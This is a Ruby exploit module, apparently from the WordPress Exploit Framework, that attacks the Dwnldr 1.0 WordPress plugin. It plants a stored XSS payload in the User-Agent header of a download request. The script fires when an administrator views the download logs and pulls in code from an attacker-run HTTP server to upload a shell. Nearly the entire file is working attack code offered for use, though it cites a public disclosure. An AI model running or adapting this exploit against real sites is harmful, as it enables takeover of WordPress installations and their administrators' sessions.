# frozen_string_literal: true

class Wpxf::Exploit::DwnldrXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'Dwnldr 1.0 XSS Shell Upload',
      author: [
        'rastating'  # Disclosure + WPXF module
      ],
      references: [
        ['WPVDB', '8556'],
        ['URL', 'http://blog.rastating.com/dwnldr-1-0-stored-xss-disclosure']
      ],
      date: 'Jul 18 2016'
    )

    register_options([
      StringOption.new(
        name: 'attachment_link',
        desc: 'The address of a valid attachment download link',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_changelog('dwnldr', 'readme.txt', '1.01')
  end

  def run
    return false unless super

    emit_info 'Storing script...'
    res = execute_get_request(
      url: datastore['attachment_link'],
      headers: { 'User-Agent' => "\"><script>#{xss_ascii_encoded_include_script}</script><\"" }
    )

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_error "Server responded with code #{res.code}"
      return false
    end

    emit_success 'Script stored and will be executed when a user views the download logs for the specified attachment.'
    start_http_server

    xss_shell_success
  end
end
